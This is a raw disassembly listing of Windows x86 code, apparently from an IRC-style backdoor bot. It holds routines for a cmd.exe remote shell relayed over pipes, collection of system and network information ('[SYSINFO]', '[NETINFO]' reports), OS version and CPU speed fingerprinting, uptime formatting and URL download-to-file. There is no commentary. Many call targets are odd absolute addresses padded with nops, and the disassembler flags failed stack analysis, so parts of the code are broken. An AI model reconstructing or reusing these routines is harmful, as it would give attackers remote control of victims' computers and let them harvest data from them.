		push	eax
		lea	eax, [ebp+var_20C]
		push	esi
		push	eax
		push	dword_43F9B4
		nop
		call	near ptr 27403A1h
		test	eax, eax
		jz	loc_40B4FD
		cmp	[ebp+var_4], edi
		jnz	short loc_40B492
		lea	eax, [ebp+var_8]
		push	eax
		push	dword_43F9B0
		call	near ptr 2740000h
		nop
		test	eax, eax
		jz	short loc_40B488
		cmp	[ebp+var_8], 103h
		jnz	loc_40B521

loc_40B488:				; CODE XREF: sub_40B417+62j
		push	0Ah
		nop
		call	near ptr 25D0CB3h
		jmp	short loc_40B42F
; ---------------------------------------------------------------------------

loc_40B492:				; CODE XREF: sub_40B417+4Ej
		xor	eax, eax
		cmp	[ebp+var_4], edi
		jbe	short loc_40B4A9

loc_40B499:				; CODE XREF: sub_40B417+90j
		cmp	[ebp+eax+var_20C], 0Ah
		jz	short loc_40B4F7
		inc	eax
		cmp	eax, [ebp+var_4]
		jb	short loc_40B499

loc_40B4A9:				; CODE XREF: sub_40B417+80j
		mov	[ebp+var_4], esi

loc_40B4AC:				; CODE XREF: sub_40B417+E4j
		push	esi
		lea	eax, [ebp+var_20C]
		push	edi
		push	eax
		call	sub_417330
		add	esp, 0Ch
		lea	eax, [ebp+var_C]
		push	edi
		push	eax
		push	[ebp+var_4]
		lea	eax, [ebp+var_20C]
		push	eax
		push	dword_43F9B4
		nop
		call	near ptr 25F1127h
		test	eax, eax
		jz	short loc_40B549
		lea	eax, [ebp+var_20C]
		push	eax
		push	ebx
		push	dword_43F9F4
		call	sub_40B390
		add	esp, 0Ch
		jmp	loc_40B42F
; ---------------------------------------------------------------------------

loc_40B4F7:				; CODE XREF: sub_40B417+8Aj
		inc	eax
		mov	[ebp+var_4], eax
		jmp	short loc_40B4AC
; ---------------------------------------------------------------------------

loc_40B4FD:				; CODE XREF: sub_40B417+45j
		push	offset dword_42DC0C
		push	ebx
		push	dword_43F9F4
		call	sub_40B390
		push	[ebp+arg_0]
		call	sub_417078
		add	esp, 10h
		push	1
		call	near ptr 25D0000h
		nop

loc_40B521:				; CODE XREF: sub_40B417+6Bj
		call	sub_40B328
		push	offset dword_42DBD4
		push	ebx
		push	dword_43F9F4
		call	sub_40B390
		push	[ebp+arg_0]
		call	sub_417078
		add	esp, 10h
		push	edi
		call	near ptr 25D0000h
		nop

loc_40B549:				; CODE XREF: sub_40B417+C3j
		push	offset dword_42DB94
		push	ebx
		push	dword_43F9F4
		call	sub_40B390
		push	[ebp+arg_0]
		call	sub_417078
		add	esp, 10h
		push	edi
		nop
		call	near ptr 25D0000h
sub_40B417	endp ; sp-analysis failed


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_40B56C	proc near		; CODE XREF: sub_40C351+99p
					; sub_40EE72+5774p

var_378		= byte ptr -378h
var_178		= byte ptr -178h
var_74		= dword	ptr -74h
var_48		= dword	ptr -48h
var_44		= word ptr -44h
var_3C		= dword	ptr -3Ch
var_38		= dword	ptr -38h
var_34		= dword	ptr -34h
var_30		= byte ptr -30h
var_2C		= dword	ptr -2Ch
var_28		= dword	ptr -28h
var_24		= dword	ptr -24h
var_1C		= dword	ptr -1Ch
var_18		= dword	ptr -18h
var_14		= dword	ptr -14h
var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch

		push	ebp
		mov	ebp, esp
		sub	esp, 378h
		push	ebx
		push	esi
		push	edi
		call	sub_40B328
		xor	esi, esi
		lea	eax, [ebp+var_178]
		push	esi
		push	eax
		push	104h
		push	esi
		push	offset aCmd_exe	; "cmd.exe"
		push	esi
		call	dword_43F724
		test	eax, eax
		jz	loc_40B666
		push	1
		lea	eax, [ebp+var_1C]
		pop	ebx
		mov	edi, dword_424140
		push	esi
		push	eax
		lea	eax, [ebp+var_C]
		mov	[ebp+var_1C], 0Ch
		push	eax
		lea	eax, [ebp+var_10]
		push	eax
		mov	[ebp+var_14], ebx
		mov	[ebp+var_18], esi
		call	edi
		test	eax, eax
		jz	loc_40B666
		lea	eax, [ebp+var_1C]
		push	esi
		push	eax
		lea	eax, [ebp+var_8]
		push	eax
		lea	eax, [ebp+var_4]
		push	eax
		call	edi
		test	eax, eax
		jz	loc_40B666
		mov	edi, dword_42413C
		push	3
		push	esi
		push	esi
		push	offset dword_43F9B8
		call	edi
		push	eax
		push	[ebp+var_8]
		call	edi
		push	eax
		call	near ptr 27407A8h
		nop
		test	eax, eax
		jz	short loc_40B666
		push	10h
		lea	eax, [ebp+var_2C]
		push	esi
		push	eax
		call	sub_417330
		push	44h
		lea	eax, [ebp+var_74]
		pop	edi
		push	edi
		push	esi
		push	eax
		call	sub_417330
		mov	eax, [ebp+var_4]
		add	esp, 18h
		mov	[ebp+var_3C], eax
		mov	eax, [ebp+var_C]
		mov	[ebp+var_38], eax
		mov	[ebp+var_34], eax
		lea	eax, [ebp+var_2C]
		mov	[ebp+var_74], edi
		push	eax
		lea	eax, [ebp+var_74]
		push	eax
		push	esi
		push	esi
		push	esi
		push	ebx
		push	esi
		mov	ebx, offset byte_43C80C
		push	esi
		lea	eax, [ebp+var_178]
		push	ebx
		push	eax
		mov	[ebp+var_48], 101h
		mov	[ebp+var_44], si
		call	near ptr 27206A4h
		nop
		test	eax, eax
		jnz	short loc_40B66E

loc_40B666:				; CODE XREF: sub_40B56C+2Fj
					; sub_40B56C+5Cj ...
		or	eax, 0FFFFFFFFh
		jmp	loc_40B71C
; ---------------------------------------------------------------------------

loc_40B66E:				; CODE XREF: sub_40B56C+F8j
		push	[ebp+var_4]
		mov	edi, dword_424078
		call	edi
		mov	eax, [ebp+var_10]
		push	[ebp+var_28]
		mov	dword_43F9B4, eax
		mov	eax, [ebp+var_8]
		mov	dword_43F9BC, eax
		mov	eax, [ebp+var_2C]
		mov	dword_43F9B0, eax
		call	edi
		mov	eax, [ebp+arg_0]
		cmp	[ebp+arg_4], esi
		mov	dword_43F9F4, eax
		jz	short loc_40B6A8
		push	[ebp+arg_4]
		jmp	short loc_40B6A9
; ---------------------------------------------------------------------------

loc_40B6A8:				; CODE XREF: sub_40B56C+135j
		push	ebx

loc_40B6A9:				; CODE XREF: sub_40B56C+13Aj
		push	offset dword_43F9C0
		call	sub_4172B0
		pop	ecx
		pop	ecx
		push	esi
		push	7
		push	offset dword_42DC90
		call	sub_416D5C
		mov	edi, eax
		mov	ecx, [ebp+var_24]
		imul	edi, 234h
		add	esp, 0Ch
		mov	dword_4450C8[edi], ecx
		lea	ecx, [ebp+var_30]
		push	ecx
		push	esi
		push	eax
		push	offset sub_40B417
		push	esi
		push	esi
		nop
		call	near ptr 2640B35h
		cmp	eax, esi
		mov	dword_4450D4[edi], eax
		jnz	short loc_40B71A
		nop
		call	near ptr 2610941h
		push	eax
		lea	eax, [ebp+var_378]
		push	offset dword_42DC4C
		push	eax
		call	sub_4172B0
		lea	eax, [ebp+var_378]
		push	eax
		call	sub_40BF6D
		add	esp, 10h

loc_40B71A:				; CODE XREF: sub_40B56C+185j
		xor	eax, eax

loc_40B71C:				; CODE XREF: sub_40B56C+FDj
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
sub_40B56C	endp


; =============== S U B	R O U T	I N E =======================================



sub_40B721	proc near		; CODE XREF: sub_407110+74p
					; sub_40B8D8+217p ...

arg_0		= dword	ptr  4

		push	ebx
		push	ebp
		push	esi
		push	edi
		call	near ptr 25D05AFh
		nop
		xor	edx, edx
		mov	ecx, 3E8h
		div	ecx
		mov	ebx, 15180h
		xor	edx, edx
		mov	esi, ebx
		mov	edi, 0E10h
		mov	ebp, edi
		push	3Ch
		mov	ecx, eax
		sub	ecx, [esp+14h+arg_0]
		mov	eax, ecx
		div	esi
		mov	esi, edx
		xor	edx, edx
		mov	eax, esi
		div	ebp
		pop	ebp
		mov	eax, edx
		xor	edx, edx
		div	ebp
		xor	edx, edx
		push	eax
		mov	eax, esi
		div	edi
		xor	edx, edx
		mov	esi, offset dword_43F9FC
		push	eax
		mov	eax, ecx
		div	ebx
		push	eax
		push	offset aDdDhDm	; "%dd %dh %dm"
		push	32h
		push	esi
		call	sub_41782A
		add	esp, 18h
		mov	eax, esi
		pop	edi
		pop	esi
		pop	ebp
		pop	ebx
		retn
sub_40B721	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_40B78A	proc near		; CODE XREF: sub_409037+24p

var_94		= dword	ptr -94h
var_90		= dword	ptr -90h
var_8C		= dword	ptr -8Ch
var_84		= dword	ptr -84h

		push	ebp
		mov	ebp, esp
		sub	esp, 94h
		lea	eax, [ebp+var_94]
		push	esi
		push	eax
		xor	esi, esi
		mov	[ebp+var_94], 94h
		nop
		call	near ptr 27515ADh
		test	eax, eax
		jz	short loc_40B81D
		cmp	[ebp+var_90], 4
		jnz	short loc_40B7F3
		cmp	[ebp+var_8C], esi
		jnz	short loc_40B7DB
		cmp	[ebp+var_84], 1
		jnz	short loc_40B7CE
		push	1
		pop	esi

loc_40B7CE:				; CODE XREF: sub_40B78A+3Fj
		cmp	[ebp+var_84], 2
		jnz	short loc_40B81D
		push	1
		jmp	short loc_40B81C
; ---------------------------------------------------------------------------

loc_40B7DB:				; CODE XREF: sub_40B78A+36j
		cmp	[ebp+var_8C], 0Ah
		jnz	short loc_40B7E8

loc_40B7E4:				; CODE XREF: sub_40B78A+78j
		push	2
		jmp	short loc_40B81C
; ---------------------------------------------------------------------------

loc_40B7E8:				; CODE XREF: sub_40B78A+58j
		cmp	[ebp+var_8C], 5Ah
		jnz	short loc_40B81D
		jmp	short loc_40B80D
; ---------------------------------------------------------------------------

loc_40B7F3:				; CODE XREF: sub_40B78A+2Ej
		cmp	[ebp+var_90], 5
		jnz	short loc_40B81D
		cmp	[ebp+var_8C], esi
		jz	short loc_40B7E4
		cmp	[ebp+var_8C], 1
		jnz	short loc_40B811

loc_40B80D:				; CODE XREF: sub_40B78A+67j
		push	3
		jmp	short loc_40B81C
; ---------------------------------------------------------------------------

loc_40B811:				; CODE XREF: sub_40B78A+81j
		cmp	[ebp+var_8C], 2
		jnz	short loc_40B81D
		push	7

loc_40B81C:				; CODE XREF: sub_40B78A+4Fj
					; sub_40B78A+5Cj ...
		pop	esi

loc_40B81D:				; CODE XREF: sub_40B78A+25j
					; sub_40B78A+4Bj ...
		mov	eax, esi
		pop	esi
		leave
		retn
sub_40B78A	endp


; =============== S U B	R O U T	I N E =======================================



sub_40B822	proc near		; CODE XREF: sub_40B8D8+290p
		push	ebx
		push	esi
		push	edi
		mov	esi, 0F4240h

loc_40B82A:				; CODE XREF: sub_40B822+2Fj
					; sub_40B822+35j
		rdtsc
		push	3E8h
		mov	edi, edx
		mov	ebx, eax
		nop
		call	near ptr 25D0CB3h
		rdtsc
		sub	eax, ebx
		push	0
		sbb	edx, edi
		push	esi
		push	edx
		push	eax
		call	sub_419250
		mov	edi, edx
		mov	ebx, eax
		test	edi, edi
		ja	short loc_40B82A
		jb	short loc_40B859
		cmp	ebx, esi
		ja	short loc_40B82A

loc_40B859:				; CODE XREF: sub_40B822+31j
		push	0
		push	64h
		push	edi
		push	ebx
		call	sub_4191D0
		mov	ecx, edx
		push	64h
		xor	edx, edx
		mov	esi, eax
		test	ecx, ecx
		pop	eax
		ja	short loc_40B8CC
		jb	short loc_40B878
		cmp	esi, 50h
		jnb	short loc_40B87D

loc_40B878:				; CODE XREF: sub_40B822+4Fj
		push	4Bh
		xor	edx, edx
		pop	eax

loc_40B87D:				; CODE XREF: sub_40B822+54j
		test	ecx, ecx
		ja	short loc_40B8CC
		jb	short loc_40B888
		cmp	esi, 47h
		jnb	short loc_40B88D

loc_40B888:				; CODE XREF: sub_40B822+5Fj
		push	42h
		xor	edx, edx
		pop	eax

loc_40B88D:				; CODE XREF: sub_40B822+64j
		test	ecx, ecx
		ja	short loc_40B8CC
		jb	short loc_40B898
		cmp	esi, 37h
		jnb	short loc_40B89D

loc_40B898:				; CODE XREF: sub_40B822+6Fj
		push	32h
		xor	edx, edx
		pop	eax

loc_40B89D:				; CODE XREF: sub_40B822+74j
		test	ecx, ecx
		ja	short loc_40B8CC
		jb	short loc_40B8A8
		cmp	esi, 26h
		jnb	short loc_40B8AD

loc_40B8A8:				; CODE XREF: sub_40B822+7Fj
		push	21h
		xor	edx, edx
		pop	eax

loc_40B8AD:				; CODE XREF: sub_40B822+84j
		test	ecx, ecx
		ja	short loc_40B8CC
		jb	short loc_40B8B8
		cmp	esi, 1Eh
		jnb	short loc_40B8BD

loc_40B8B8:				; CODE XREF: sub_40B822+8Fj
		push	19h
		xor	edx, edx
		pop	eax

loc_40B8BD:				; CODE XREF: sub_40B822+94j
		test	ecx, ecx
		ja	short loc_40B8CC
		jb	short loc_40B8C8
		cmp	esi, 0Ah
		jnb	short loc_40B8CC

loc_40B8C8:				; CODE XREF: sub_40B822+9Fj
		xor	eax, eax
		xor	edx, edx

loc_40B8CC:				; CODE XREF: sub_40B822+4Dj
					; sub_40B822+5Dj ...
		sub	eax, esi
		sbb	edx, ecx
		add	eax, ebx
		adc	edx, edi
		pop	edi
		pop	esi
		pop	ebx
		retn
sub_40B822	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_40B8D8	proc near		; CODE XREF: sub_40EE72+59EEp

var_7E8		= byte ptr -7E8h
var_668		= byte ptr -668h
var_5E8		= byte ptr -5E8h
var_568		= byte ptr -568h
var_4E8		= byte ptr -4E8h
var_3E4		= byte ptr -3E4h
var_2E8		= byte ptr -2E8h
var_25C		= word ptr -25Ch
var_25A		= byte ptr -25Ah
var_15C		= byte ptr -15Ch
var_114		= byte ptr -114h
var_CC		= dword	ptr -0CCh
var_C8		= dword	ptr -0C8h
var_C4		= dword	ptr -0C4h
var_C0		= dword	ptr -0C0h
var_BC		= dword	ptr -0BCh
var_B8		= byte ptr -0B8h
var_38		= byte ptr -38h
var_30		= dword	ptr -30h
var_2C		= dword	ptr -2Ch
var_18		= byte ptr -18h
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch

		push	ebp
		mov	ebp, esp
		sub	esp, 7E8h
		push	ebx
		push	esi
		lea	eax, [ebp+var_CC]
		push	edi
		push	eax
		mov	[ebp+var_4], offset byte_43C80C
		mov	[ebp+var_CC], 94h
		nop
		call	near ptr 27515ADh
		xor	ebx, ebx
		cmp	[ebp+var_C8], 4
		jnz	short loc_40B95F
		cmp	[ebp+var_C4], ebx
		jnz	short loc_40B93B
		cmp	[ebp+var_BC], 1
		jnz	short loc_40B925
		mov	[ebp+var_4], offset a95	; "95"

loc_40B925:				; CODE XREF: sub_40B8D8+44j
		cmp	[ebp+var_BC], 2
		jnz	loc_40B9DA
		mov	[ebp+var_4], offset aNt	; "NT"
		jmp	short loc_40B9AB
; ---------------------------------------------------------------------------

loc_40B93B:				; CODE XREF: sub_40B8D8+3Bj
		cmp	[ebp+var_C4], 0Ah
		jnz	short loc_40B94D
		mov	[ebp+var_4], offset a98	; "98"
		jmp	short loc_40B9A2
; ---------------------------------------------------------------------------

loc_40B94D:				; CODE XREF: sub_40B8D8+6Aj
		cmp	[ebp+var_C4], 5Ah
		jnz	short loc_40B99B
		mov	[ebp+var_4], offset aMe	; "ME"
		jmp	short loc_40B9A2
; ---------------------------------------------------------------------------

loc_40B95F:				; CODE XREF: sub_40B8D8+33j
		cmp	[ebp+var_C8], 5
		jnz	short loc_40B99B
		cmp	[ebp+var_C4], ebx
		jnz	short loc_40B979
		mov	[ebp+var_4], offset a2k	; "2K"
		jmp	short loc_40B9A2
; ---------------------------------------------------------------------------

loc_40B979:				; CODE XREF: sub_40B8D8+96j
		cmp	[ebp+var_C4], 1
		jnz	short loc_40B98B
		mov	[ebp+var_4], offset aXp	; "XP"
		jmp	short loc_40B9A2
; ---------------------------------------------------------------------------

loc_40B98B:				; CODE XREF: sub_40B8D8+A8j
		cmp	[ebp+var_C4], 2
		mov	[ebp+var_4], offset a2003 ; "2003"
		jz	short loc_40B9A2

loc_40B99B:				; CODE XREF: sub_40B8D8+7Cj
					; sub_40B8D8+8Ej
		mov	[ebp+var_4], offset dword_42DDDC

loc_40B9A2:				; CODE XREF: sub_40B8D8+73j
					; sub_40B8D8+85j ...
		cmp	[ebp+var_BC], 2
		jnz	short loc_40B9DA

loc_40B9AB:				; CODE XREF: sub_40B8D8+61j
		cmp	[ebp+var_B8], bl
		jz	short loc_40B9DA
		lea	eax, [ebp+var_B8]
		push	eax
		lea	eax, [ebp+var_2E8]
		push	[ebp+var_4]
		push	offset dword_42DDD4
		push	eax
		call	sub_4172B0
		lea	eax, [ebp+var_2E8]
		add	esp, 10h
		mov	[ebp+var_4], eax

loc_40B9DA:				; CODE XREF: sub_40B8D8+54j
					; sub_40B8D8+D1j ...
		mov	ax, word_42DDD0
		push	3Fh
		mov	[ebp+var_25C], ax
		pop	ecx
		xor	eax, eax
		lea	edi, [ebp+var_25A]
		rep stosd
		stosw
		mov	eax, dword_43F554
		mov	[ebp+var_C], 100h
		cmp	eax, ebx
		jz	short loc_40BA13
		lea	ecx, [ebp+var_C]
		push	ecx
		lea	ecx, [ebp+var_25C]
		push	ecx
		call	eax

loc_40BA13:				; CODE XREF: sub_40B8D8+12Cj
		push	[ebp+arg_4]
		call	sub_40AEE0
		pop	ecx
		push	eax
		call	dword_43F6A8
		mov	[ebp+var_8], eax
		push	2
		lea	eax, [ebp+var_8]
		push	4
		push	eax
		call	dword_43F620
		cmp	eax, ebx
		jz	short loc_40BA3C
		push	dword ptr [eax]
		jmp	short loc_40BA41
; ---------------------------------------------------------------------------

loc_40BA3C:				; CODE XREF: sub_40B8D8+15Ej
		push	offset aCouldnTResolve ; "couldn't resolve host"

loc_40BA41:				; CODE XREF: sub_40B8D8+162j
		lea	eax, [ebp+var_3E4]
		push	eax
		call	sub_4172B0
		pop	ecx
		lea	eax, [ebp+var_4E8]
		pop	ecx
		push	104h
		push	eax
		nop
		call	near ptr 25E0000h
		lea	eax, [ebp+var_114]
		push	46h
		push	eax
		push	offset aDdMmmYyyy ; "dd:MMM:yyyy"
		push	ebx
		mov	esi, 409h
		push	ebx
		push	esi
		nop
		call	near ptr 2640000h
		lea	eax, [ebp+var_15C]
		push	46h
		push	eax
		push	offset aHhMmSs	; "HH:mm:ss"
		push	ebx
		push	ebx
		push	esi
		call	near ptr 2630000h
		nop
		push	20h
		lea	eax, [ebp+var_38]
		push	ebx
		push	eax
		call	sub_417330
		add	esp, 0Ch
		lea	eax, [ebp+var_38]
		push	eax
		nop
		call	near ptr 2760000h
		push	ebx
		push	ebx
		lea	eax, [ebp+var_18]
		push	ebx
		push	eax
		lea	eax, [ebp+var_4E8]
		push	eax
		call	sub_4192B8
		lea	eax, [ebp+var_18]
		push	eax
		lea	eax, [ebp+var_7E8]
		push	eax
		call	sub_40D12A
		push	60h
		mov	esi, eax
		pop	ecx
		lea	edi, [ebp+var_7E8]
		rep movsd
		push	60h
		lea	esi, [ebp+var_7E8]
		pop	ecx
		lea	edi, [ebp+var_668]
		rep movsd
		push	ebx
		call	sub_40B721
		add	esp, 20h
		push	eax
		lea	eax, [ebp+var_15C]
		push	eax
		lea	eax, [ebp+var_114]
		push	eax
		lea	eax, [ebp+var_25C]
		push	eax
		push	[ebp+arg_4]
		call	sub_40AEE0
		pop	ecx
		push	eax
		lea	eax, [ebp+var_3E4]
		push	eax
		lea	eax, [ebp+var_4E8]
		push	eax
		lea	eax, [ebp+var_5E8]
		push	[ebp+var_C0]
		push	[ebp+var_C4]
		push	[ebp+var_C8]
		push	[ebp+var_4]
		push	eax
		lea	eax, [ebp+var_568]
		push	eax
		mov	eax, [ebp+var_2C]
		shr	eax, 0Ah
		push	ebx
		push	eax
		call	sub_40D01A
		pop	ecx
		pop	ecx
		push	eax
		mov	eax, [ebp+var_30]
		shr	eax, 0Ah
		push	ebx
		push	eax
		call	sub_40D01A
		pop	ecx
		pop	ecx
		push	eax
		call	sub_40B822
		push	edx
		push	eax
		push	offset aSysinfoCpuI64u ; "[SYSINFO]: [CPU]: %I64uMHz. [RAM]: %sKB"...
		push	200h
		push	[ebp+arg_0]
		call	sub_41782A
		mov	eax, [ebp+arg_0]
		add	esp, 50h
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
sub_40B8D8	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_40BB8C	proc near		; CODE XREF: sub_40EE72+4557p
					; sub_40EE72+5A1Fp

var_8C		= byte ptr -8Ch
var_C		= byte ptr -0Ch
var_8		= byte ptr -8
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h

		push	ebp
		mov	ebp, esp
		sub	esp, 8Ch
		push	esi
		mov	esi, 80h
		push	esi
		lea	eax, [ebp+var_8C]
		push	0
		push	eax
		call	sub_417330
		add	esp, 0Ch
		cmp	dword_43F750, 0
		jnz	short loc_40BBF8
		push	0
		lea	eax, [ebp+var_8C]
		push	esi
		push	eax
		lea	eax, [ebp+var_C]
		push	eax
		call	dword_43F538
		test	eax, eax
		jnz	short loc_40BBE1
		lea	eax, [ebp+var_8C]
		push	offset dword_42DE50
		push	eax
		call	sub_4172B0
		pop	ecx
		pop	ecx

loc_40BBE1:				; CODE XREF: sub_40BB8C+40j
		test	[ebp+var_C], 1
		jz	short loc_40BBEE
		push	offset dword_42DE48
		jmp	short loc_40BBF3
; ---------------------------------------------------------------------------

loc_40BBEE:				; CODE XREF: sub_40BB8C+59j
		push	offset off_42DE44

loc_40BBF3:				; CODE XREF: sub_40BB8C+60j
		lea	eax, [ebp+var_8]
		jmp	short loc_40BC10
; ---------------------------------------------------------------------------

loc_40BBF8:				; CODE XREF: sub_40BB8C+28j
		mov	esi, offset off_42DE40
		lea	eax, [ebp+var_8]
		push	esi
		push	eax
		call	sub_4172B0
		pop	ecx
		lea	eax, [ebp+var_8C]
		pop	ecx
		push	esi

loc_40BC10:				; CODE XREF: sub_40BB8C+6Aj
		push	eax
		call	sub_4172B0
		pop	ecx
		pop	ecx
		push	[ebp+arg_4]
		push	[ebp+arg_8]
		call	sub_40AEE0
		pop	ecx
		push	eax
		lea	eax, [ebp+var_8C]
		push	eax
		lea	eax, [ebp+var_8]
		push	eax
		push	offset aNetinfoTypeSS_ ; "[NETINFO]: [Type]: %s	(%s). [IP Address"...
		push	200h
		push	[ebp+arg_0]
		call	sub_41782A
		mov	eax, [ebp+arg_0]
		add	esp, 1Ch
		pop	esi
		leave
		retn
sub_40BB8C	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_40BC4B	proc near		; DATA XREF: sub_40EE72+4976o

var_65C		= byte ptr -65Ch
var_55C		= byte ptr -55Ch
var_35C		= dword	ptr -35Ch
var_358		= byte ptr -358h
var_2D8		= byte ptr -2D8h
var_258		= byte ptr -258h
var_1D8		= dword	ptr -1D8h
var_1D4		= dword	ptr -1D4h
var_1D0		= dword	ptr -1D0h
var_1C8		= byte ptr -1C8h
var_148		= byte ptr -148h
var_C8		= byte ptr -0C8h
var_48		= dword	ptr -48h
var_38		= dword	ptr -38h
var_34		= dword	ptr -34h
var_30		= word ptr -30h
var_2C		= dword	ptr -2Ch
var_28		= dword	ptr -28h
var_24		= dword	ptr -24h
var_20		= dword	ptr -20h
var_1C		= dword	ptr -1Ch
var_18		= dword	ptr -18h
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		sub	esp, 65Ch
		mov	eax, [ebp+arg_0]
		push	ebx
		push	esi
		push	edi
		push	65h
		mov	esi, eax
		pop	ecx
		lea	edi, [ebp+var_35C]
		rep movsd
		push	1
		mov	edi, 80h
		pop	esi
		xor	ebx, ebx
		mov	[eax+190h], esi
		push	edi
		lea	eax, [ebp+var_148]
		push	ebx
		push	eax
		mov	[ebp+var_C], ebx
		mov	[ebp+var_4], ebx
		mov	[ebp+var_8], offset dword_42DF80
		call	sub_417330
		push	edi
		lea	eax, [ebp+var_1C8]
		push	ebx
		push	eax
		call	sub_417330
		push	edi
		lea	eax, [ebp+var_C8]
		push	ebx
		push	eax
		call	sub_417330
		push	100h
		lea	eax, [ebp+var_65C]
		push	ebx
		push	eax
		call	sub_417330
		push	3Ch
		lea	eax, [ebp+var_48]
		pop	edi
		push	edi
		push	ebx
		push	eax
		call	sub_417330
		add	esp, 3Ch
		lea	eax, [ebp+var_48]
		mov	[ebp+var_48], edi
		mov	[ebp+var_34], esi
		push	eax
		lea	eax, [ebp+var_358]
		push	ebx
		push	eax
		mov	[ebp+var_28], esi
		mov	[ebp+var_20], esi
		mov	[ebp+var_18], esi
		call	sub_417AB0
		pop	ecx
		push	eax
		lea	eax, [ebp+var_358]
		push	eax
		call	dword_43F570
		test	eax, eax
		jz	loc_40BDE5
		cmp	[ebp+var_34], ebx
		jbe	short loc_40BD22
		push	[ebp+var_34]
		lea	eax, [ebp+var_148]
		push	[ebp+var_38]
		push	eax
		call	sub_418C10
		add	esp, 0Ch

loc_40BD22:				; CODE XREF: sub_40BC4B+C0j
		cmp	[ebp+var_28], ebx
		movzx	esi, [ebp+var_30]
		jbe	short loc_40BD40
		push	[ebp+var_28]
		lea	eax, [ebp+var_1C8]
		push	[ebp+var_2C]
		push	eax
		call	sub_418C10
		add	esp, 0Ch

loc_40BD40:				; CODE XREF: sub_40BC4B+DEj
		cmp	[ebp+var_20], ebx
		jbe	short loc_40BD5A
		push	[ebp+var_20]
		lea	eax, [ebp+var_C8]
		push	[ebp+var_24]
		push	eax
		call	sub_418C10
		add	esp, 0Ch

loc_40BD5A:				; CODE XREF: sub_40BC4B+F8j
		cmp	[ebp+var_18], ebx
		jbe	short loc_40BD74
		push	[ebp+var_18]
		lea	eax, [ebp+var_65C]
		push	[ebp+var_1C]
		push	eax
		call	sub_418C10
		add	esp, 0Ch

loc_40BD74:				; CODE XREF: sub_40BC4B+112j
		push	ebx
		push	ebx
		lea	eax, [ebp+var_C8]
		push	3
		push	eax
		lea	eax, [ebp+var_1C8]
		push	eax
		lea	eax, [ebp+var_148]
		push	esi
		push	eax
		push	dword_43F618
		call	dword_43F63C
		mov	esi, eax
		cmp	esi, ebx
		jz	short loc_40BDFD
		push	ebx
		lea	eax, [ebp+var_8]
		push	200h
		push	eax
		lea	eax, [ebp+var_2D8]
		push	eax
		lea	eax, [ebp+var_65C]
		push	ebx
		push	eax
		push	ebx
		push	esi
		call	dword_43F630
		cmp	eax, ebx
		mov	[ebp+var_4], eax
		jz	short loc_40BE04
		push	ebx
		push	ebx
		push	ebx
		push	ebx
		push	eax
		call	dword_43F5E4
		test	eax, eax
		jz	short loc_40BDDE
		push	offset dword_42DF54
		jmp	short loc_40BE09
; ---------------------------------------------------------------------------

loc_40BDDE:				; CODE XREF: sub_40BC4B+18Aj
		push	offset unk_42DF08
		jmp	short loc_40BE09
; ---------------------------------------------------------------------------

loc_40BDE5:				; CODE XREF: sub_40BC4B+B7j
		lea	eax, [ebp+var_55C]
		push	offset dword_42DEDC
		push	eax
		call	sub_4172B0
		mov	esi, [ebp+var_C]
		pop	ecx
		pop	ecx
		jmp	short loc_40BE17
; ---------------------------------------------------------------------------

loc_40BDFD:				; CODE XREF: sub_40BC4B+153j
		push	offset unk_42DEA0
		jmp	short loc_40BE09
; ---------------------------------------------------------------------------

loc_40BE04:				; CODE XREF: sub_40BC4B+17Bj
		push	offset unk_42DE60

loc_40BE09:				; CODE XREF: sub_40BC4B+191j
					; sub_40BC4B+198j ...
		lea	eax, [ebp+var_55C]
		push	eax
		call	sub_4172B0
		pop	ecx
		pop	ecx

loc_40BE17:				; CODE XREF: sub_40BC4B+1B0j
		cmp	[ebp+var_1D4], ebx
		jnz	short loc_40BE42
		push	ebx
		lea	eax, [ebp+var_55C]
		push	[ebp+var_1D0]
		push	eax
		lea	eax, [ebp+var_258]
		push	eax
		push	[ebp+var_35C]
		call	sub_40D679
		add	esp, 14h

loc_40BE42:				; CODE XREF: sub_40BC4B+1D2j
		lea	eax, [ebp+var_55C]
		push	eax
		call	sub_40BF6D
		pop	ecx
		push	esi
		call	dword_43F69C
		push	[ebp+var_4]
		call	dword_43F69C
		push	[ebp+var_1D8]
		call	sub_417078
		pop	ecx
		push	ebx
		call	near ptr 25D0000h
		nop
		pop	edi
		pop	esi
		pop	ebx
sub_40BC4B	endp ; sp-analysis failed


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_40BE75	proc near		; CODE XREF: sub_40EE72+4490p

var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch

		push	ebp
		mov	ebp, esp
		push	ecx
		and	[ebp+var_4], 0
		push	esi
		push	edi
		mov	esi, offset dword_444340
		mov	edi, 0B8h

loc_40BE89:				; CODE XREF: sub_40BE75+33j
		cmp	byte ptr [esi],	0
		jz	short loc_40BEAC
		push	[ebp+arg_0]
		push	esi
		call	sub_4176D0
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	short loc_40BEAC
		inc	[ebp+var_4]
		add	esi, edi
		cmp	esi, offset dword_444EC0
		jl	short loc_40BE89
		jmp	short loc_40BEEE
; ---------------------------------------------------------------------------

loc_40BEAC:				; CODE XREF: sub_40BE75+17j
					; sub_40BE75+26j
		mov	esi, [ebp+var_4]
		push	ebx
		imul	esi, 0B8h
		push	edi
		push	0
		lea	ebx, dword_444340[esi]
		push	ebx
		call	sub_417330
		push	17h
		push	[ebp+arg_0]
		push	ebx
		call	sub_418C10
		push	9Fh
		lea	eax, dword_444358[esi]
		push	[ebp+arg_4]
		push	eax
		call	sub_418C10
